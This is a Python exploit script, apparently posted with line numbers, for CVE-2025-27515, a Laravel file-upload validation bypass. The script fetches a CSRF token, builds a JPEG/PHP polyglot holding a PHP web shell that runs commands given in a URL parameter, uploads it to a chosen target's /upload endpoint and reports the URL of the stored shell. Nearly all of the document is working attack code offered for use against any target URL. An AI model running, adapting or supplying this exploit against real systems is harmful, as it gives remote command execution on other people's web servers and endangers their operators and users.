Laravel `files.*` Wildcard Validation Bypass via Polyglot JPEG+PHP Upload (CVE-2025-27515)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161

#!/usr/bin/env python3

import sys
import requests
from bs4 import BeautifulSoup
from typing import Optional


class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    CYAN = '\033[96m'
    WHITE = '\033[97m'
    RESET = '\033[0m'
    BOLD = '\033[1m'


def print_banner():
    print(f"""
{Colors.CYAN}╔══════════════════════════════════════════════════════════╗
║  {Colors.BOLD}CVE-2025-27515{Colors.RESET}{Colors.CYAN} - Laravel File Upload Bypass            ║
║                                                          ║
║  {Colors.RED}█▀▄▀█ ▄▀█ ▀█ █▀ █▀▀ █▀▀{Colors.RESET}{Colors.CYAN}                                 ║
║  {Colors.RED}█ ▀ █ █▀█ █▄ ▄█ ██▄ █▄▄{Colors.RESET}{Colors.CYAN}                                 ║
║                                                          ║
║  {Colors.YELLOW}Polyglot JPEG+PHP → RCE{Colors.RESET}{Colors.CYAN}                               ║
╚══════════════════════════════════════════════════════════╝{Colors.RESET}
""")


class CVE2025_27515_Exploit:
    def __init__(self, target_url: str):
        self.target_url = target_url.rstrip('/')
        self.upload_url = f"{self.target_url}/upload"
        self.session = requests.Session()
        self.csrf_token = None

        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
            'Accept': 'application/json, text/javascript, */*',
            'Accept-Language': 'en-US,en;q=0.9',
        })

    def log_info(self, message: str):
        print(f"[*] {message}")

    def get_csrf_token(self) -> Optional[str]:
        try:
            response = self.session.get(self.upload_url)

            if response.status_code != 200:
                return None

            soup = BeautifulSoup(response.text, 'html.parser')
            csrf_meta = soup.find('meta', {'name': 'csrf-token'})

            if csrf_meta:
                self.csrf_token = csrf_meta.get('content')
                return self.csrf_token

            csrf_input = soup.find('input', {'name': '_token'})
            if csrf_input:
                self.csrf_token = csrf_input.get('value')
                return self.csrf_token

            return None

        except Exception as e:
            return None

    def create_polyglot_file(self) -> bytes:
        return b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00<?php system($_GET['cmd']); ?>"

    def exploit_polyglot(self) -> tuple[bool, dict]:
        if not self.csrf_token:
            if not self.get_csrf_token():
                return False, {}

        try:
            file_content = self.create_polyglot_file()
            files = {'files[]': ('image.jpg', file_content, 'image/jpeg')}
            data = {'_token': self.csrf_token}

            self.log_info(f"Sending payload to {self.upload_url}...")
            response = self.session.post(self.upload_url, files=files, data=data)

            result_info = {
                'status_code': response.status_code,
                'content_length': len(response.content)
            }

            if response.status_code == 200:
                try:
                    result = response.json()
                    if result.get('success') and result.get('files'):
                        file_info = result['files'][0]
                        result_info['stored_path'] = file_info.get('stored_path')
                        result_info['url'] = f"{self.target_url}/storage/{file_info.get('stored_path').split('/')[-1]}"
                        return True, result_info
                except:
                    pass

            return False, result_info

        except Exception as e:
            return False, {'error': str(e)}

    def run(self):
        self.log_info(f"Target: {self.target_url}")
        print()

        success, result_info = self.exploit_polyglot()
        print()

        print(f"[+] Request sent!")
        print(f"    Status Code: {result_info.get('status_code', 'N/A')}")
        print(f"    Content-Length: {result_info.get('content_length', 0)} bytes")
        print()

        if success:
            print(f"UPLOAD RESULT:")
            print(f"{result_info.get('url', 'N/A')}")
            print()
            print(f"{Colors.GREEN}✓ EXPLOIT SUCCESSFUL{Colors.RESET}")
            print("=" * 60)
        else:
            print(f"{Colors.RED}✗ EXPLOIT FAILED{Colors.RESET}")
            if 'error' in result_info:
                print(f"Error: {result_info['error']}")
            print("=" * 60)

        return success


def main():
    print_banner()

    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_url>\n")
        print(f"Example:")
        print(f"  python3 {sys.argv[0]} http://localhost:8000\n")
        sys.exit(1)

    target_url = sys.argv[1]
    exploit = CVE2025_27515_Exploit(target_url)

    try:
        exploit.run()

    except KeyboardInterrupt:
        print(f"\n\n[!] Interrupted by user\n")
        sys.exit(1)
    except Exception as e:
        print(f"\n[✗] Fatal error: {str(e)}\n")
        sys.exit(1)


if __name__ == '__main__':
    main()